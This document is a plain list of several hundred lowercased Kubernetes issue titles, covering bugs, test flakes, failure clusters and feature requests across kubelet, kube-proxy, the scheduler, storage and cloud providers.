minions ip does not follow --hostname-override when set to a hostname

allow defining different timeouts for different verbs in client go

hpa event still said can't find metrics from heapster even the system use metrics-server

manifests in test/e2e/testing-manifests/ingress should use deployment

e2e test failure  each node by dropping all outbound packets for a while and ensure they function afterwards

cannot http request a resource of large size from inside cluster

kubelet with \ --cloud-provider=external\  is not working with kubernetes v1.11

test failure:  sig-storage  in-tree volumes  driver: hostpathsymlink   testpattern: inline-volume  default fs   subpath should fail if subpath with backstepping is outside the volume  slow

jobs should have configurable limits of how many successful jobs should be preserved

remove scheduler duplication with extendedresources and hugepages

unable to update cni config: no networks found in /etc/cni/net.d

what is the difference of network between the node-e2e test and cluster-e2e test?

kubectl config set-credentials  do not support using certificate data and key data

sig-api-machinery  aggregator should be able to support the 1.7 sample api server using the current aggregator

there are too many pdb update operations even if no changes take place

windows kubelet won't start \ failed to create listener for podresources endpoint\

autoscaling/v1 groupversion does not work well with validation/edit/export

k8s.io  memoryeviction  slow   serial   disruptive  when there is memory pressure should evict pods in the correct order  besteffort first, then burstable, then guaranteed  {e2enode suite}

kubectl set serviceaccount -o yaml should not continue print  resources \ name\  serviceaccount updated

admission controller should be able to add private claims to serviceaccount id tokens

serialize and write api.pod/container spec/status as container annotations

which docker version s  for kubernetes v1.6.0-alpha.0.2074+a092d8e0f95f52

increase default value of deploymentspec.revisionhistorylimit to 10 in apps/v1beta2

considering pvc as a resource for balanced resource utilization in the scheduler

flaky upgrade tests: decide whether to remove flaky upgrade tests

gci test failing:  kubernetes-e2e-gci-gce-scalability-release-1.4   overall

pull-kubernetes-kubemark-e2e-gce failing with error:  gcloud.compute.instances.delete  could not fetch resource

annotations not being applied to ingress and no subsequently no events

kubeadm doesn't properly configure coredns when using a local dnsmasq

horizontalpodautoscaler does not down-scale, despite under-utilized cpu

somtime edit /etc/kubernetes/kube-apiserver.yaml by vi, kube-apiserver be killed but not restart forever

azure disk static provision does not support china or german cloud

device manager only considers extended resource limits when allocating devices.

ipvs nodeport is not working if host not using eth{i} as nic name in 1.9.0

kubernetes 1.12 - \ kubelet-config-1.12\  is forbidden: user \ system:bootstrap:n31b8f\

failure cluster  485f77...  failed 47 builds, 2 jobs, and 1 tests over 1 days

can not get the privateip of a node when it has both public ip and private ip

unable to apply anti-affinity rules on \ all namespaces\  for pods

cross links dont work in api reference docs when viewed using htmlpreview

k8s.io  imageid should be set to the manifest digest  from repodigests  when available {e2enode suite}

reconstructvolumespec fake outervolumespecname during sync state in volume reconciler at node

intorstring  intvalue   always returns zero when intorstring is a percentage

kube-proxy clears conntrack for all ips when it cleans up a nodeport

upgrade test failure  garbage collector should support cascading deletion of custom resources

storageclassname of pvc not bounded  may need to be mutablefield

kubectl 1.7+ fails to get rollout history for any deployment on older clusters.

kubelet/rkt.go is getting too big. should be split into small modules

chaning service from lb to clusterip should clear status.ingress right away

pr:pull-kubernetes-e2e-kops-aws flaked 21 times in the past week

failing to get test logs and very noisy error/retry for gce pd csi driver tests

federation e2e setup doesn't clean up resources in the face of failures

failure cluster  0b681c...  failed 418 builds, 20 jobs, and 1 tests over 1 days

bug: kubelet does not assign host ip for pods with hostnetwork for --cloud-provider=external

flex volume driver errors from attach callout  are not getting added as event in pod

kubectl command to let user know what thay can do in specific namespace

ipvs broken because ipset on centos does not support comment extension

failed to gather kube-scheduler cpu profile: failed to run 'go tool pprof': exit status 1

build namespace index at api server cache for namespace scoped resource to improve list performance

k8s.io  kubelet cgroup manager pod containers on scheduling a burstable pod pod containers should have been created under the burstable cgroup {e2enode suite}

after deletion of the pod with custom flex volume driver it goes to the orphaned state

kubectl describe priorityclass show the wrong format for value and globaldefault

failure cluster  f71707...  failed 107 builds, 7 jobs, and 1 tests over 1 days

v1.10.3 kube-controller-manager crashes after azure provisioning load balancer

schedulername  of daemonset pods should not be default-scheduler

better documentation for deploying cluster add on fluentd-elasticsearch wanted

kubectl: must warn about the --labels option overwriting other --labels options

1.12  potential impact on kubeadm after enabled  scheduledaemonsetpods

csi volume limits not being registered in node's capacity/allocatable

docker specific error messages in the event log on cri clusters.

there is azure file mount limit issue on windows due to using drive letter

can kubectl/k8sapi support specified users in exec cmd/interface?

k8s.io  networking  k8s.io  granular checks: pods should function for node-pod communication: http  conformance  {kubernetes e2e suite}

cidr management and node health monitoring should be done by separate controllers

vsphere cloud provider: wrong vm path when using multiple working-dir

subjectaccessreview and certificatesigningrequest protobuf struct tags don't match json tags

method names are not correct in comments generated by deepcopy-gen

docs/api-reference: don't generate html documents in kubernetes/kubernetes

hpa - handle situation when current replica count doesn't match to the desired number

k8s runs in openstack instances. node status is notready, but pods still run in it

failure cluster  dde1f7...  failed 152 builds, 6 jobs, and 1 tests over 1 days

prestop hook gets killed during execution with \ did not complete in 0 seconds\  unfinishedprestophook events

nginx permission denied when updated kubernetes version 1.8.7-gke.0 to 1.9.4-gke.1

remove repair-malformed-updates flag from head when clients are fixed

support selection of datastore for dynamic provisioning in vsphere

flake: testcrossnamespacelistwatch: unable to decode an event from the watch stream

control plane images aren't pushed for {arm,arm64,ppc64le,s390x} on release

clean new install on centos7x kubelet fails to start with error: kubelet: error: failed to run kubelet: invalid kubeconfig

was put prometheus/promdash images in gcr, now update to prompush/ official images.

upgrading docker 1.13 on nodes causes outbound container traffic to stop working

service controller trying to remove all subnets for aws loadbalancer

quota replenishment controller doesn't handle uninitialized objects

dot character in environment variable name yields \ invalid value\

kubernetes broken test run kubectl exec on pod with nohup command

failure cluster  ac251c...  failed 97 builds, 10 jobs, and 1 tests over 1 days

high volume api clients revalidate the same authentication token frequently

autoscaler scales down below minreplicas when \ all metrics below target\

@kubernetes/sig-testing-test-failures,proposals: worker node in \ notready\  state on master node in kubernetes.

denyescalatingexec admission controller should check psp hostnetwork

kubernetes does not support azure standard load balancers when provisioning services of type loadbalancer

k8s.io  kubectl client  k8s.io  update demo should scale a replication controller  conformance  {kubernetes e2e suite}

deploying kubelet in container mode with the hyperkube image leads to apparmor to be considered disabled mistakenly

feature request: customize prefix for lb provisioned in cloud infrastructure

kubectl create role  creates deployment with apigroups as  extensions

start kube-controller-manager err: unable to monitor quota for resource \ extensions/v1beta1, resource=networkpolicies\

aws: replace service controller retry logic in persistupdate with retry utils from client-go

on aws attach followed by a detach of same volume is stuck waiting for volume attachment on old device path

kubectl delete of a static pod results in multiple attempts to re-create the mirror pod before succeeding

error:  gcloud.compute.scp   /usr/bin/scp  exited with return code  1 .

failing test in master-blocking: dynamic pv/inline-volume subpath should support creating multiple subpath from same volumes

upgrade test  \ pods should invoke init containers on a restartnever pod\  failing in gke-container_vm-1.3-container_vm-1.5-upgrade-master

daemonsets should have infinite toleration for unreachable/notready noexecute taints.

federation  decide whether or not to reintroduce support for non-rbac federated clusters in kubefed join

add documentation to dynamic persistent volumes about defaultstorageclass admission control

client-go: keep api versions longer in the client library than in the apiserver

discuss what to do with kubectl flags that take in a single api version

make cluster/gce/upgrade.sh and cluster/kube-down.sh more helpful when the rolling upgrade fails

e2e failure   sig-cluster-lifecycle  downgrade  feature:downgrade  cluster downgrade should maintain a functioning cluster  feature:clusterdowngrade

new feature: use 'kubectl exec' to attach pod which has already completed.

kubectl port-forward service/<service-name> with --pod-running-timeout option doesn't work as expected

vsphere cloud provider: add vcenter certificate verification options

k8s.io  restart  disruptive  should restart all nodes and ensure all nodes and pods recover {kubernetes e2e suite}

kubelet is ignoring flags set  --runtime-request-timeout and --volume-stats-agg-period

use netlink instead of ip command to bind ip address in ipvs pkg

kubectl 1.11.0 is unable to get pods or nodes on clusters running 1.8.4

failing test:  sig-storage   serial  volume metrics should create metrics for total time taken in volume operations in p/v controller

aws: multi-az clusters are missing docker_extra_opts on multiple deployments

k8s should enforce the access mode rox check when attaching pvc to pods.

resourcequota should support limiting the number of terminated pods

apps/v1  change defaultgarbagecollectionpolicy for workload controllers

kubeadm --apiserver-advertise-address stuck to kubeadm --apiserver-advertise-address timed out waiting for the condition

k8s.io  kibana logging instances is alive should check that the kibana logging instance is alive {kubernetes e2e suite}

allow using federation-controller-manager without a cloud dns-provider

automated upgrades should support different node images for gce upgrades

k8s.io  memoryeviction  slow   serial   disruptive    when there is memory pressure should evict pods in the correct order  besteffort first, then burstable, then guaranteed  {e2enode suite}

lots of stacktraces in kube-apiserver logs during 1.8->master upgrade

hostpath doesn't work as expected when used directly with deployment

csi - internal driver not applying fsgroup ownership value when pv is not readonly

joining multiple masters to an existing ha cluster concurrently fails

failing test:  k8s.io   feature:gpu  run nvidia gpu tests on container optimized os only

webhook admission plugin should set servername in its tls config

should deleting manifests from /etc/kubernetes/addons delete the rcs/pods?

feature request: allow  change-cause  annotation to be overridden in resource file

failed to create azure file pvc if there is no storage account in current resource group

in ipvs mode, kube-proxy doesn't handle graceful termination of udp flows

failed to start kubelet  1.10.11/arm  with raspberry pi 3  hypriotos v1.9.0, dockerce 18.04.0 .

the testing framework doesn't respect additional aftereach calls

e2e flake:   k8s.io  noexecutetaintmanager  serial  eventually evict pod with finite tolerations from tainted nodes

kubernetes api server should not depend on --cloud-provider and --cloud-config

container is blasted rapidly with readiness probes, despite longer configured interval

dns latency of 5s when uses iptables forward in pods network traffic

bug - kubeadm fails to parse kubeproxy.config.bindaddress from config file

kube-apiserver metrics apiserver_request_latencies_summary nan after upgrading to 1.6.1

services  kube-proxy : conntrack for udp needs to be flushed when set of endpoints goes from empty to non-empty

failure cluster  b0ac8e...  failed 381 builds, 28 jobs, and 7 tests over 1 days

add --diff-viewer flag support for  kubectl apply diff-last-applied

kubelet: image gc attempts to remove images in use by stopped containers

is it necessary to drain pods when upgrading kubelet on woker node

kube-apiserver uses blocking /dev/random during start instead of non-blocking /dev/urandom

kube-proxy with mode iptables can not work correctly, when deployment repleaces is 2

investigate whether we should spawn off a dedicated goroutine for global cleanup tasks

basic statefulset functionality scaling down before scale up is finished should wait until current pod will be running and ready before it will be removed

got  error \ too many ebs volumes attached to node\  when create pod using ebs volume

improve the kubelets logging, backoff, documentation with regard to apiserver heartbeats.

dnspolicy: add \ host\  as an alias for \ default\   proposal for a pr in progress

v1.8.4  the deploy & rs result of the kubectl get all result are repeatedly displayed.

failing/flaking test: e2e:  sig-autoscaling   hpa  horizontal pod autoscaling  scale resource: cpu   sig-autoscaling   serial   slow  replicationcontroller should scale from 5 pods to 3 pods and from 3 to 1 and verify decision stability

ldap user accounts, uid mappings and automatically run certain deployments as the uid of user who created the deployment

'sparkdriver' could not bind on port dynamically with hostnetwork: true

'endpoint' configuration is required for this service - ecr aws library out of date

udp packets from same source port do not round-robin in a kubernetes service

services should preserve source pod ip for traffic thru service cluster ip flakes

pull-kubernetes-federation-e2e-gce flaking because  your \ oauth 2.0 service account\  credentials are invalid

pull-kubernetes-unit  test flake /cmd/kube-apiserver/app/testing testcrd

scheduler must watch all pods of the cluster, not just those that it is responsible for

kubernetes 1.11.2 kube-proxy error   core.endpoints: unauthorized

incompatibility between apparmor and podsecuritypolicy in mutatingwebhookadmission

job's backofflimit needs to take number of failed pods into account

kubernetes examples probably should not rely on containers owned by other people

autoscaling cluster causes havoc on hpa by not starting heapster

kube-controller-manager failed to start after restart the whole kuberetes cluster when external apiservice  such as service catalog  is deployed and registred

have the kubelet send an event when it will switch configurations

can't visit by this dns format  like \ http://servicename.namespace:port\

leaderelector only looks at its own leaseduration, not the leader's

findpodvolumes is returning success for assumed volumes on other nodes

hostpath mount type fileorcreate creates a directory on the node

k8s.io/code-generator  scripts do not work from repos that use new go modules

/etc/kubernetes/bootstrap fails if there are no ephemeral volumes  1.2, aws

k8s.io  disruptioncontroller should update poddisruptionbudget status {kubernetes e2e suite}

k8s.io  downward api volume should provide podname as non-root with fsgroup and defaultmode  feature:fsgroup   volume  {e2enode suite}

controller manager - service controller - clean up load balancer error  openstack

pr:pull-kubernetes-e2e-gce  kubectl client  k8s.io  update demo should create and stop a replication controller   conformance  flaked 53 times in the past week

volumeclaimtemplates with a statefulset schedules volumes on different aws azs

log initiating user with request in kubelet for auditing purposes

update 1.5.3 to 1.6.0-beta.1, kubectl get node and get deployment not found resource

enable the bootstrapsigner and tokencleaner controllers by default

advanced audit audit rule matching logic incorrect when user attribute is nil

controller manager fails to update endpoints of host network services when nodename has changed

kubectl patch command not working for modifying an object in replication controller

invalid content-type text/plain on responses returned from apiserver

pods marked for deletion on nodes that are unreachable should not charge to quota

failing test :  sig-network  all networking granular checks are failing in sig-release-master-blocking gci-gce-alpha-features job

controller-manager wrongly warns about empty service-account-private-key-file

gci-gce-scalability tests fail due to \ watch closed before until timeout\

kubelet v1.10 can't init azure provider with usemanagedidentityextension

remove legacy docker integration  a.k.a dockertools/docker_manager.go

failure cluster  ac251c...  failed 136 builds, 27 jobs, and 1 tests over 1 days

failure cluster  187157...  failed 76 builds, 2 jobs, and 1 tests over 1 days

support process substitution for config set-cluster --certificate-authority

kube-controller constantly running into garbage collection for non-existing resources

ipv6: e2e tests failing with dns failing liveness/readiness probes

azure outbound rules is not taking effect when using together with standard loadbalancer

k8s.io  resourcequota should create a resourcequota and capture the life of a pod. {kubernetes e2e suite}

\ tiller-deploy\  pod could not become ready when there was a time jump from a future time to right time after the nodes reboot

kubectl apply deployment in apps group cannot change updatastrategy

scheduler cleanup phase 🐼 : change  getbinderfunc  from method to function

federation: allow reading kubernetes resources from federation-apiserver

pod stucks in terminating if it has a privileged container but has been scheduled to a node which doesn't allow privilege

rfe: bootstrap checkpointing - modify manifest behavior slightly for self hosting.

swagger.json missing in: \ path\  parameters for multiple endpoints

kubenet and cni driver --cni-bin-dir search behavior is different

question: if a job is completed/terminated, will it release the resources?

pod hostip/hostport settings not respected  highjacked ports on other host ips

externaltrafficpolicy:local why not enable it on clusterip services ?

azure disk may be mounted by pod before disk is actually attached

kubectl exec  for pods running on the master return obscure error message

create a standalone library to support host-side volume discovery and management.

allow for udp/tcp services that retain the ip address of the client

e2e failure   sig-scheduling  resourcequota should create a resourcequota and capture the life of a ...

basic statefulset functionality  statefulsetbasic  e2e tests are flaky

\ kubectl logs\  ignores \ --tail\  option when \ --selector\  is given

k8s.io  proxy version v1 should proxy logs on node with explicit kubelet port using proxy subresource  conformance  {kubernetes e2e suite}

openstack cinder: upon node failure kubernetes fails to relocate pods with cinder volumes

kubelet: resolve paths from config files against config file location

gce: ilbs created with the wrong subnet will stop syncing after upgrade

kubectl auth can-i return \ yes\  and exit code 0 querying non-existent resources

docs/readme: make/build fails with when running make on a system with 4gb of ram

update kubectl to use propagationpolicy instead of orphandependents

failure cluster  c4c989...  failed 381 builds, 28 jobs, and 1 tests over 1 days

scheduler should not use an assignment filter when installing event handlers for pods

feature: support selecting container image based on machine architecture

kubelet device plugin to pass additional information about pods to allocate call

elb cross zone load balancer annotation appears to break internal load balancer

when api server /healthz fails, put info for diagnosis into its log.

configmap control characters yaml/json+json/yaml conversion error

storage: in the future rbd images might become unaccessible in read-write mode

controller manager should regenerate service account tokens when given a new signing key

k8s.io  generated release_1_5 clientset should create v2alpha1 cronjobs, delete cronjobs, watch cronjobs {kubernetes e2e suite}

daemonset deleted but a pod  scheduled on unready node  left undeletable forever

e2e.test --kubeconfig parameter does not handle multiple configs specified by kubeconfig environment variable

failed to ensure that filter chain input jumps to kube-external-services: error appending rule: exit status 1: iptables: no chain/target/match by that name

failing test:  sig-storage  persistentvolumes default storageclass pods that use multiple volumes should be reschedulable

unit test flake - testwatchcontextcancel - watcher_test.go:196: cancelling context shouldn't return any error. err: <nil>

federation should enable etcd2 -> etcd3 migration for existing deployments.

container.resources.{limits,requests} fields are not documented in the api/explain

odd timing behavior with readiness probes with  initialdelayseconds  and  periodseconds

figure out what's the best path for delivering cloud config in nodes

document etcd supported versions and supported transitions  matrix?

truncating backend doesn't work with buffered backend for audit logging

update doc/devel/scheduler.md to explain all the supported extension approaches

k8s.io  configmap should be consumable from pods in volume with defaultmode set  conformance  {kubernetes e2e suite}

apiserver should reject hpa object if no requests are set on a corresponding object

gce  gclb loses manually modified health check settings when upgrading to 0.9.3

unit test failure: persistent volume controller testfindingpreboundvolumes

flaky  schedulerpredicates validates that taints-tolerations is respected if not matching

daemon-set-controller  bootstrap rbac policy does not include  get  permission for  controllerrevisions

cross-account ecr support  specify registryids to getauthorizationtokeninput

kubelet failed to restart: \ crypto/tls: failed to parse certificate pem data\

feature request  lxd local method does not appear to have minikube service my-service equivalent

replicationcontrollers post latency slo violation in gci-gce-scalability run 8147

k8s.io  density  serial   slow  create a sequence of pods latency/resource should be within limit when create 10 pods with 50 background pods {e2enode suite}

openstack cinder is reporting deprecated api call for pvc create

resourceversion is not returned from list requests with fieldselector

kubelet log api should at least return one byte when  follow set to true

k8s.io  kubectl client  k8s.io  kubectl describe should check if kubectl describe prints relevant information for rc and pods  conformance  {kubernetes e2e suite}

kube-proxy ipvs mode create unnecessary ip virtual server listener for k8s services

io/kubernetes/pkg/cloudprovider/providers/gce ensureinternalbackendservicegroups/getregionbackendservice_failed is flaky

windows server 2016 pods crash with alpha hyper-v annotation on windows server version 1803

flaky: multiple pvs and pvcs all in same ns should create 4 pvs and 2 pvcs

rfe: option allow components sched+cm  to lock on configmaps on startup

documentation copy example popup unable to close for large examples

flake: race detected during execution of test testreplicasetcontroller

ipvs does not rr with hostport on service's pod and running on the same node

failing test :  sig-cluster-lifecycle  all reboot  disruptive   feature:reboot  tests are failing in sig-release-master-blocking gci-gke-reboot job

containers from init-containers section do not execute during node reboots

k8s.io  configmap updates should be reflected in volume  conformance  {kubernetes e2e suite}

gce should allow users to configure with what service account their nodes are created

kubelet shows the status of a mirror/static pods as running, even though the host is down

\ kubectl top\  no longer works when --read-only-port=0 is set on kubelet

reminder: remove this hack after kubelet is refactored to only use clientset.

3-way strategic patch merge should treat empty and nil collections equivalently.

kubeadm join and error  discovery  failed to request cluster info, will try again:  get https://10.0.0.10:6443/api/v1/namespaces/kube-public/configmaps/cluster-info: x509: certificate is valid for 10.96.0.1, 10.0.2.15, not 10.0.0.10

make nodeport allocation optional for service.type == loadbalancer

failure starting container when mounting secret \ not a directory\

adopt convention for declaring that a type satisfies an interface

network: confusion about parameters “--pod-cidr” under cluster model

networkunavailable noroutecreated on gce with cni network plugin

running 1.13.x kubelet against 1.12.x apiserver errors due to missing volumemode

different  service-cluster-ip-range  config of ci jobs will fail network e2e test case.

flaky test: unable to retrieve the complete list of server apis: metrics.k8s.io/v1beta1: the server could not find the requested resource

kubelet possible cni network plugins on windows server 2016 node

one admission controller can be passed multiple times to --admission-control

hpa is refuses to autoscale if desiredreplicas > maxreplicas  but i want it to scale up to maxreplicas

garbage files cannot be completely pruned after running local-up-cluster.sh

scheduler cleanup phase 🐼 : move cache debugger setup into a helper function

write e2e tests for the bootstrapsigner, tokencleaner and bootstraptokenauthenticator

race in  downward api volume should update annotations / labels on modification

node conformance test: the master configuration should be configurable through the test container.

failure cluster  63a364...  failed 225 builds, 62 jobs, and 26 tests over 1 days

ephemeral  debug  containers need a configurable security context

failed to register collectors for \ /kubepods/podxxx/2b8ff9a3da84482d33e7cd7ce3xxx\ : failed to read config file \ xxx\  for config \ xxx\  : file \ xxx\  does not exist.

rolling upgrade of deployment has conflict with pod anti-affinity policy

restart systemd-journald also restart kubelet and kube-proxy services

symlink for ca.crt & token files are broken on windows containers

cmd/kubeadm/app/phases/etcd/spec/zz_generated.deepcopy.go not regenerated

kube-flannel pod failed to create subnetmanager: error retrieving pod spec dial tcp 10.0.0.1:443: i/o timeout

deprecating swagger 1.2 in favor of openapi  move all internal tools to use openapi

tls-secured aggregated apis return 500 error for websocket requests

failure cluster  c49044...  failed 58 builds, 10 jobs, and 13 tests over 1 days

refactor  a.computereplicasformetrics  and  a.reconcileautoscaler  methods

kubenetes svc endpoints are not updated when one of api is down  when running ha api

api  service clusterip should be able to be disabled  for headless services

cluster/{gce,gke}/util.sh test-setup creates network, but test-teardown doesn't delete it

upgrade test  \ scheduledjob should not emit unexpected warnings\  failing in ci-kubernetes-e2e-gce-1.4-1.5-upgrade-master

kubectl describe  reports wrong unbound persistentvolumeclaim for pending pod

vsphere disk that controller says is attached is not actually attached

missing unit tests in /pkg/api/v1helper & pkg/util/taints for some functions.

kube-proxy conntrack hash resize kernel panic with preempt kernel.

control plane bootstrapping order aka we need a run-level concept

should never allow vendored packages to reference k8s.io/kubernetes packages

lease reconciler creates incorrect kubernetes endpoint and lease files

high delete replicationcontrollers request latency in 2k node tests

failing test  gce-new-master-upgrade-master job timing out in release master-upgrade dashboard

env invalid: spec.template.spec.containers 0 .env 14 .valuefrom: invalid value: \ \ : may not be specified when  value  is not empty

invalid memory address or nil pointer dereference when mounting azure disk

downward api shows incorrect values for cpu.request/cpu.limit when exposed through volumemount

add parallelism field in jobstatus to reflect the real running pods of a job

changing crd validation causes existing watch requests to silently hang

conversion is generating v1 -> v1 rules if a type only exists in external

pod-infra-container-image flag on kubelet does not work when using cri-containerd

tainting nodes by conditions seems to visibly slow down cluster startup

taint-to-string method generates string that taint parser considers invalid

pull-kubernetes-e2e-gce-etcd3: flake:  k8s.io   hpa  horizontal pod autoscaling

proposal: move match version check to part of the \ version\  subcommand

failing test:  sig-network  dns configmap nameserver should be able to change stubdomain configuration  slow  serial

make service capable of handling traffic based on actual externalip

cloudprovider aws needs implementations for  byproviderid methods

checkpoint artifacts injected into a pod using device plugins in kubelet

gcr.io/kubernetes-e2e-test-images/pets/zookeeper-installer can't be built

clarify the guestbook-go example's external networking portion for vagrant users

ci-kubernetes-verify and pull-kubernetes-verify are failing in 1.13 and 1.14 branches

inefficient getcandidatezonesfordynamicvolume impl caused aws api call throttling

failed to admit critical pod due to \ timeout waiting to kill pod\  while handling admission failure

k8s.io  replicationcontroller should serve a basic image on each replica with a public image  conformance  {kubernetes e2e suite}

\ kubectl rollout status -f resource.yml\  doesn't use namespace from resource.yml

failed to retrieve network config: client: etcd cluster is unavailable or misconfigured-

k8s.io  configmap should be consumable from pods in volume with mappings as non-root with fsgroup  feature:fsgroup  {e2enode suite}

statefulsethasdesiredreplicas condition should check observedgeneration

deployment is missing from apps/v1beta generated conversion code

storage capacity of persistent volumes in k8s 1.7.2 reduced to 63 bits  signed 64 bits?

1.11.7 still missing this commit: 4ca62e4f39c59ebe66a59685a8f020315dfd3016

minor  controllers: clean up use of new.... s/xyz.newxyz  /xyz.new

/etc/hosts is overwritten despite code stating it should not be overwritten

fixtodo: move node status condition code to kubelet_node_conditions.go to be centralized

pod with dynamic volume stays in 'unknown' state if node powers off. delete not possible

the job status is still running after the related pod status changes to imagepullbackoff

clusterrole system:kube-scheduler cannot get extension-apiserver-authentication configmap

skydns throws io errors on large cluster, slow query performance.

k8s.io   hpa  horizontal pod autoscaling  scale resource: cpu   k8s.io  replicationcontroller light should scale from 1 pod to 2 pods {kubernetes e2e suite}

nodes stuck in notready leaves pods in pending state  does not autoscale

k8s.io  kubectl client  k8s.io  kubectl rolling-update should support rolling-update to same image  conformance  {kubernetes e2e suite}

make the bootstraptokenauthenticator only act on prefixed tokens

make verify  display list of failed tests to the user at the end

service can change from externalname -> clusterip and not get an ip allocated

api-server, kube-controller-manager, scheduler don't start on master node reboot

kube-dns failed to list  v1.endpoints: user \ system:serviceaccount:kube-system:default\  cannot list services

should add more validators for args/flags when run kubectl get with --raw

e2e node   alpha: dynamickubeletconfig  setkubeletconfiguration will return before new configuration has taken effect

warn about deletion of cluster wide resources with namespace flag

pr:pull-kubernetes-kubemark-e2e-gce-big flaked 20 times in the past week

hack/cherry_pick_pull fails if upstream push url is set to a safety value

make it easier for users to understand the reason for scheduling decisions and pending pods

gce kubernetes cannot attach volume to a particular docker image

openstack cloud provider and vm's with an ipv6 address cause system pods to have ipv6 addresses

misleading kubectl error: the server doesn't have a resource type \ po\

storage e2e tests: setting --delete-namespace-on-failure=false should prevent deletion of test pods, pvcs, etc.

bots are opening too many issues, too noisy, and often just wrong

failure cluster  d246a4...  failed 214 builds, 20 jobs, and 1 tests over 1 days

proxy move  localport  related functions and structure from proxier.go to util

k8s.io  services should be able to change the type and ports of a service  slow   it

statefulset: check external dns entry is created before running command

failing test:  sig-scalability  density  feature:performance  should allow starting 30 pods per node using replicationcontroller with 0 secrets, 0 configmaps, 0 token projections, and 0 daemonschanges

k8s.io  kubectl client  k8s.io  kubectl run rc should create an rc from an image  conformance  {kubernetes e2e suite}

cli  proposal: make kubectl exec --stdin and --tty default to true

e2e:  sig-storage  persistentvolumes default storageclass pods that use multiple volumes should be reschedulable  slow

k8s metrics not working with graphana/influxdb/heapster/cadvisor on my cluster

openapi scheme should have groupversionkind extension for operaetions

things need to be verified when updating unavailable aggregated apis to 503s

image locality  scheduler priority function  misses untagged image

errortoapistatus could be more informative about unexpected errors

windows mount pkg  getmountrefs  should check windows specific iscoruptedmnt

cronjob scheudle does not use master's timezone - instead it uses utc

rfc  proposal for automatic api conversion tool for yaml/json files embedded in markdown

wrong volume mounted on aws when ebs volume changes device node as part of detach from nodex and attach to nodey

deleting a cluster from the federation doesn't clean up dns entries

failing test  emptydir, csi and subpath atomic writer volumes tests failing in release-1.14-blocking:gke-cos-1.14-default

kubectl release 1.3.0 not able to get server version if localhost not included into /etc/hosts

e2e flake:  k8s.io  noexecutetaintmanager  serial  evicts pods from tainted nodes

daemon set  serial  should run and stop complex daemon with node affinity  1.6->1.7

kube-apiserver should not call cloud provider defaultexternalhost

error when trying to reference metadata.name as persistentvolumeclaim.claimname

improve pod event when cifs mount fails because the network name is unknown

failure in conformance test - daemon set  serial  should update pod when spec was updated and update strategy is rollingupdate  conformance

kubelet cri errors should only include grpc code if error is grpc related

rename --experimental-bootstrap-token-auth to --enable-bootstrap-token-auth

resource quota controller should allow discover-resources errors

k8s.io  configmap should be consumable via environment variable  conformance  {kubernetes e2e suite}

isolated endpoint would be replaced by new built endpoint with service

allow nobrl parameter like docker to use sqlite over network drive

deviceplugin  allocatable resource remains 0 after device-plugin restart

add an opaque \ container runtime params\  object to api.container

verifyvolumesareattached is failing and looping on remounts for openstack cinder

pvc provisioningfailed error when following wordpress and mysql tutorial

allow modification of existing pod labels on the fly via configuration

should clean up scheduler integration test by using feature gate

scheduler incorrectly considers a pod a match for inter pod anti-affinity terms if any of the terms matches

there should be a single way that pods and other resources are identified in k8s component logs wherever possible

when using host network, the pod ip is always empty in downward api

volume stuck in attaching state when using multiple persistentvolumeclaim

error \ failed to list  v1.service: services \ \  is forbidden: user \ system:node:127.0.0.1\  cannot list services at the cluster scope. \

failed to get system container stats for \ /system.slice/kubelet.service\ : failed to get cgroup stats for \ /system.slice/kubelet.service\ : failed to get container info for \ /system.slice/kubelet.service\ : unknown container \ /system.slice/kubelet.service\

failing test :  sig-testing  ci-kubernetes-e2e-gci-gce-alpha-features:beforesuite

add possibility for user to specify directory in vsphere volume creation

externaltrafficpolicy:local and proxy-mode=ipvs blackholes traffic on

e2e conformance tests no longer run as documented in 1.5.0, regression from 1.4.x

federation: kubectl --cascade should be false by default for federation

failure cluster  02bd8b...  failed 49 builds, 7 jobs, and 1 tests over 1 days

failure cluster  be986b...  failed 111 builds, 9 jobs, and 6 tests over 1 days

error:  the server has asked for the client to provide credentials

code generator generates invalid fake clients for nonnamespaced subresources

admission webhooks will use http even if the url in the webhookconfiguration is https

node down ,statefulset  can't  create a replacement pod with that same identity on the other nodes;

ipvs: match for nodeport is inadequate - missing addrtype=local match

add documentation explaining steps required to add a node to a cluster

endpoint controller no need to delete endpoint when service is deleted

failed to allocate requested healthcheck nodeport, provided port is already allocated

kubectl cluster-info dump doesn't appear to work after kubeadm install

e2e tests that run after reboot frequently fail with network connectivity problems

getaddrinfo enotfound when making request to kubernetes services

release 1.2.0 1.3.0 package kubernetes.tar.gz has no directory of saltbase, which cause kube-up.sh run exit silently , and install failed.

intermittent error when doing kubectl apply -f for a horizontalpodautoscaler: 'unable to find api field in struct horizontalpodautoscalerspec for the json field \ scaletargetref\ '

client tcp connections have to wait full timeout when set of endpoints goes from empty to non-empty

kubelet stats summary api reports rss usage as 0 for root cgroup

can't delete a deployment containing an azure managed disk volume

failure cluster  199f5e...  failed 71 builds, 2 jobs, and 1 tests over 1 days

add webhook e2e test ensuring that mutating webhooks are not called for webhook configuration object requests.

can't create podtemplate: \ error: unable to recognize \ stdin\ : no matches for kind \ podtemplate\  in version \ core/v1\

sig-storage  unmount tests are failing in master-blocking and master-upgrade dashboards

a way to obtain the api server ip address from the network plugin.

some pod update operations are not handling conflict errors correctly

k8s.io  projected should project all components that make up the projection api  conformance   volume   projection  {e2enode suite}

adding minreadyseconds causes deployment to report minavailablility as 0 although all pods are running

make gce_loadbalancer_external and gce_loadbalancer_internal more consistent

kubernetes federation error: user \ client\  cannot create namespaces at the cluster scope: unknown user \ client\

portforwarder.getports does not return correct port number when local port omitted or set to zero.

verify-bazel failing with 'cannot find package \ github.com/bazelbuild/buildtools/build\ ' etc

apiserver and kubelet don't agree on what names to use in tls verification

k8s.io  networking  k8s.io  granular checks: services  slow  should function for endpoint-service: udp {kubernetes e2e suite}

kubectl allows editing/patching static manifest pods though changes are not applied  mostly

validation enhancement:  type:loadbalancer with firewall rules does not open node ports on minions.  service functions from within pods.

request  labeling spot instances / preemptible instances as such.

kubectl fails with ambiguous error when having duplicate entry in kubeconfig.

nodes stuck on 100% cpu usage, making all the pods unresponsive.

receive \ the namespace of the provided object does not match the namespace sent on the request\  when creating a secret in the default namespace.

flaky test  :  sig-api-machinery  garbage collector should orphan rs created by deployment when deleteoptions.propagationpolicy is orphan  conformance

cannot attach writable persistent disk to daemonset with single pod

k8s.io   feature:example   k8s.io  storm should create and stop zookeeper, nimbus and storm worker servers {kubernetes e2e suite}

scaleio - decouple secret namspace from pvc for dynamic provisioning

jobs: specifying both parallelism and backofflimit can lead to unexpected results

deployment resource appear as in \ apps\  instead of \ extensions\  api group

